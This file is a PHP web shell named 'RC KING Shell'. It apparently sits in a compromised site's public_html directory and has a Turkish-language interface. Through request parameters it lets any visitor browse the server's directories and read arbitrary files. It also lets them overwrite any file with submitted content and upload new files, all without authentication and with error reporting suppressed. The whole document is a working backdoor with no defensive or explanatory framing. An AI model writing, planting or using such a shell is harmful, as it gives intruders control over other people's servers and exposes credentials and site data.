| Current File : /home/sanghavirealty/public_html/publicazwer/rc_king_bhnv.php |
<?php
@error_reporting(0);
echo "VULN_CHECK_RT04QA";
$root = __DIR__;
function updir($ADir){
$ADir = rtrim($ADir, '/');
return substr($ADir, 0, strrpos($ADir, '/'));
}
$path = isset($_GET['file']) ? $_GET['file'] : $root;
if (isset($_GET['view']) && is_file($_GET['view'])) {
header("Content-type: text/plain");
readfile($_GET['view']);
exit;
}
if (isset($_POST['save_file']) && isset($_POST['content'])) {
file_put_contents($_POST['save_file'], $_POST['content']);
}
if (isset($_FILES['upload_file'])) {
$target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
move_uploaded_file($_FILES['upload_file']['tmp_name'], $target);
}
echo "<b>RC KING Shell - Current root:</b> $root <br>";
echo "<b>Current path:</b> $path <hr>";
echo '<a href="?file='.updir($path).'">..</a><br />';
foreach (glob(rtrim($path,'/').'/*') as $file) {
echo '<a href="?file='.$file.'">'.basename($file).'</a>';
if (is_file($file)) {
echo ' | <a href="?view='.$file.'" target="_blank">[Göster]</a> | <a href="?edit='.$file.'">[Düzenle]</a>';
}
echo "<br>";
}
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$editFile = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($editFile));
echo "<h3>Dosya Düzenle: ".basename($editFile)."</h3><form method='POST'><textarea name='content' style='width:100%;height:300px;'>$content</textarea><input type='hidden' name='save_file' value='$editFile'><button type='submit'>Kaydet</button></form>";
}
echo '<hr><h3>Dosya Yükle</h3><form method="POST" enctype="multipart/form-data"><input type="file" name="upload_file"><button type="submit">Yükle</button></form>';
?>